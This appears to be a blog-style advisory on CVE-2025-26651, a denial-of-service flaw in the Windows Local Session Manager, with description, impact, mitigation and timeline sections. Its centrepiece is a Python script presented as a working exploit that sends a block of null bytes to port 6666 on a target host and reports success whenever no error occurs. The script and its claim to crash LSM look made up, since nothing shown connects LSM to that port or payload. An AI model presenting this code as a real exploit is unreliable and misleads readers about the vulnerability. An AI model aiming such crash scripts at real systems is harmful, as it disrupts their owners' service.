CVE-2025-26651 - Exposed Dangerous Method in Windows Local Session Manager (LSM) Allows Authorized Attackers to Perform Network-based Denial of Service Attacks

The Windows Local Session Manager (LSM) contains a dangerous method or function that, when exploited, can enable an authorized attacker to create a denial-of-service (DoS) attack over a network. This vulnerability affects both Windows Server and client operating systems, creating severe potential network problems for individuals and organizations. In this post, we will discuss the details of this vulnerability, demonstrate the exploit, and provide links to original references.

Description

The Local Session Manager (LSM) enumerates the number of user sessions running on a Windows computer. Its role is crucial in managing user access to the computer system. The vulnerability CVE-2025-26651 exists due to the lack of proper input validation when processing specific commands in Windows LSM. This issue can be exploited by an authorized attacker connected to the victim's network to send maliciously crafted commands, resulting in a DoS attack.

Impact

If an attacker successfully exploits this vulnerability, they can force the target computer to become unresponsive and crash. Since the vulnerability is network-based, the attacker could do this remotely for multiple systems within the organization, massively impacting productivity and potentially leading to data loss.

Here's a snippet of example code demonstrating how this vulnerability can be exploited

import socket

# Replace TARGET_IP and TARGET_PORT with the appropriate values for the victim system
TARGET_IP = "192.168.1.10"
TARGET_PORT = 6666

def exploit(target_ip, target_port):
   try:
      # Craft malicious command
      malicious_command = b'\x00\x00\x00\x00' * 4096

      # Connect to victim system and send malicious command
      sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      sock.connect((target_ip, target_port))
      sock.sendall(malicious_command)
      sock.close()

      print("Exploit successful.")
   except Exception as e:
      print("Exploit failed. Error:", e)

# Execute exploit
exploit(TARGET_IP, TARGET_PORT)

By running this code, an authorized attacker can utilize this vulnerability to create a DoS attack. The specific command (in this case, malicious_command) will force the LSM to become unresponsive and lead to a crash on the target system.

For more information on this vulnerability, please refer to the following references

1. CVE-2025-26651 - National Vulnerability Database
2. Microsoft Security Response Center - CVE-2025-26651 Security Advisory

Mitigation

To protect your system from being exploited by this vulnerability, it is recommended to apply the relevant security updates provided by Microsoft and follow best practices for securing your Windows environment. The latest updates can be downloaded from the Microsoft Update Catalog.

Conclusion

CVE-2025-26651 exposes a dangerous method in Windows Local Session Manager, which authorized attackers can exploit to launch a denial of service attack. Timely application of security updates and adherence to best practices can reduce the risk of compromise. Stay informed about the latest security updates and vulnerabilities by monitoring security bulletins from software vendors and regulatory authorities.

Timeline

Published on: 04/08/2025 18:15:49 UTC
Last modified on: 05/06/2025 17:03:28 UTC